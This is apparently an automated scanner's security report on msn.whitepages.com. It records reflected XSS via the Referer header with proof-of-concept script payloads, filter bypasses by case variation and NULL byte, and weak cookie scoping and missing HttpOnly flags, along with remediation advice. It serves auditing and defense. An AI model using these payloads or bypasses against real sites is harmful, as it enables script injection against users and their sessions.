Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2bf74</script><script>alert(1)</script>3a0db7d4ba0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.google.com/search?hl=en&q=2bf74</script><script>alert(1)</script>3a0db7d4ba0 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f95cc</script><script>alert(1)</script>a6af8c168d9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.google.com/search?hl=en&q=f95cc</script><script>alert(1)</script>a6af8c168d9 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c52bf</script><script>alert(1)</script>1e763e05c63 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /area_zip_codes HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=c52bf</script><script>alert(1)</script>1e763e05c63
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4534e</script><script>alert(1)</script>ce54553212c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /person HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=4534e</script><script>alert(1)</script>ce54553212c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9185</script><script>alert(1)</script>125d2ce0710 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=e9185</script><script>alert(1)</script>125d2ce0710
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8aea9</script><ScRiPt>alert(1)</ScRiPt>9dd0c2cab93 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /reverse-lookup HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: rsi_segs=; s_cc=true; s_vi=[CS]v1|26964919051482C7-4000016560011535[CE]; s_sq=whitepagespartnerprod%3D%2526pid%253DPerson%252520-%252520Search%252520Form%2526pidt%253D1%2526oid%253Dhttp%25253A//msn.whitepages.com/%2526ot%253DA%2526oi%253D235; Sample=84; wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=8aea9</script><ScRiPt>alert(1)</ScRiPt>9dd0c2cab93
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 863e6</script><script>alert(1)</script>6fee747432f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /reverse-lookup HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=863e6</script><script>alert(1)</script>6fee747432f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f7cf</script><script>alert(1)</script>5fd64127b55 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/FindPerson HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=8f7cf</script><script>alert(1)</script>5fd64127b55
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00320ad</script><script>alert(1)</script>004426ab7f4 was submitted in the Referer HTTP header. This input was echoed as 320ad</script><script>alert(1)</script>004426ab7f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /search/ReversePhone HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: rsi_segs=; s_cc=true; s_vi=[CS]v1|26964919051482C7-4000016560011535[CE]; s_sq=whitepagespartnerprod%3D%2526pid%253DPerson%252520-%252520Search%252520Form%2526pidt%253D1%2526oid%253Dhttp%25253A//msn.whitepages.com/%2526ot%253DA%2526oi%253D235; Sample=84; wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=%00320ad</script><script>alert(1)</script>004426ab7f4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91146</script><script>alert(1)</script>61ba4c99dc4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/ReversePhone HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=91146</script><script>alert(1)</script>61ba4c99dc4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5b2d</script><script>alert(1)</script>c7c3ee4c7a4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /terms HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D; Referer: http://www.google.com/search?hl=en&q=c5b2d</script><script>alert(1)</script>c7c3ee4c7a4
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.bing.com/search?q=whitepages&form=MSNH14&qs=n&sk=&sc=8-0 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /area_zip_codes HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cs.gif HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: rsi_segs=; s_cc=true; s_vi=[CS]v1|26964919051482C7-4000016560011535[CE]; s_sq=whitepagespartnerprod%3D%2526pid%253DPerson%252520-%252520Search%252520Form%2526pidt%253D1%2526oid%253Dhttp%25253A//msn.whitepages.com/%2526ot%253DA%2526oi%253D235; Sample=84; wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
Response
HTTP/1.1 200 OK Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Set-Cookie: wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D%253B; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.whitepages.com Set-Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; path=/; domain=.whitepages.com Date: Tue, 11 Jan 2011 17:30:17 GMT Connection: close Server: Apache/1.3.37 (Unix) mod_perl/1.30 Content-Type: image/gif Content-Length: 43
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /person HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>MSN White Pages - Find People for Free</title> <meta name="description" content="Free people search lookup in U ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /reverse-lookup HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search/FindPerson HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search/ReversePhone HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>MSN White Pages - Find People for Free</title> <meta name="description" content="Free people search lookup in U ...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 9 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.bing.com/search?q=whitepages&form=MSNH14&qs=n&sk=&sc=8-0 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
